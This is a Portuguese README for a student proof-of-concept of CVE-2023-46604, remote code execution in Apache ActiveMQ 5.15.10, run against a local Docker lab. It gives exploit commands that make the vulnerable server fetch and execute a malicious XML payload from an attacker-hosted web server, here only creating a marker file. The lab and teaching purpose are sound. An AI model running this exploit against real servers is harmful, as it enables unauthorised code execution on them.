CVE-2023-46604: Prova de Conceito de RCE no Apache ActiveMQ

Trabalho: SSP Trabalho 3 Equipa: RCE You Later Membros: Banica Horia Alexandru, Comarlau Vlad-Constantin

Link do vídeo usando o repositório para fazer o PoC: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 Visão Geral

Este repositório contém uma Prova de Conceito (PoC) totalmente funcional para a CVE-2023-46604. Esta vulnerabilidade permite que um atacante execute comandos arbitrários de shell num servidor Apache ActiveMQ vulnerável (versão 5.15.10) ao forçá-lo a desserializar um ficheiro de configuração XML malicioso.

Objetivo: Criar um ficheiro chamado pwned_by_ssp_team dentro do servidor vítima para provar que temos controlo.

---

🛠️ Pré-requisitos

Antes de executar o exploit, certifique-se de que tem:

1. Docker & Docker Compose (instalados e em execução)
2. Python 3

---

📂 Estrutura do Repositório

• vulnerable-env/: Contém a configuração Docker para o servidor vítima.
• attacker/: Contém os scripts do exploit e os payloads maliciosos.
  • exploit.py: O script Python que envia o pacote malicioso.
  • serve.py: Um servidor HTTP simples para alojar o payload XML.
  • poc.xml: O ficheiro de configuração malicioso que contém o comando touch /tmp/pwned_by_ssp_team.

---

🚀 Guia de Utilização Passo a Passo

Passo 1: Iniciar a Vítima (ActiveMQ)

Vamos executar uma versão antiga e vulnerável do ActiveMQ usando o Docker.

1. Abra um terminal.
2. Navegue até a pasta vulnerable-env:

   cd vulnerable-env
   

3. Inicie o container:

   docker-compose up -d
   

4. Aguarde 30 segundos para o servidor iniciar completamente.

Passo 2: Alojar o XML Malicioso

O servidor vítima precisa de descarregar instruções de nós. Vamos configurar um pequeno servidor web para alojar essas instruções.

1. Abra um segundo terminal.
2. Navegue até a pasta attacker:

   cd attacker
   

3. Inicie o servidor web Python:

   python3 serve.py
   

   Mantenha este terminal aberto! Deverá ver "Serving HTTP on 0.0.0.0 port 8000..."

Passo 3: Lançar o Exploit

Agora enviamos o pacote de rede específico que desencadeia a vulnerabilidade.

1. Abra um terceiro terminal.

2. Navegue até a pasta attacker:

   cd attacker
   

3. Execute o script do exploit.

   • Nota: Se estiver no macOS ou Windows, utilize o comando abaixo exatamente como está escrito.

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Utilizadores Linux: Se estiver no Linux, substitua host.docker.internal pelo gateway da ponte de rede, normalmente: 172.17.0.1. Tente obter o endereço assim se o prescrito não funcionar: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Passo 4: Verificar o Hack

Funcionou? Vamos verificar se o ficheiro foi criado dentro do container.

1. Volte ao seu primeiro terminal (ou a qualquer terminal).
2. Execute este comando para verificar a pasta /tmp dentro da vítima:

   docker exec activemq-victim ls -l /tmp
   

3. Sucesso: Deverá ver um ficheiro chamado pwned_by_ssp_team.

🧹 Limpeza

Para parar e remover o container vulnerável:

cd vulnerable-env
docker-compose down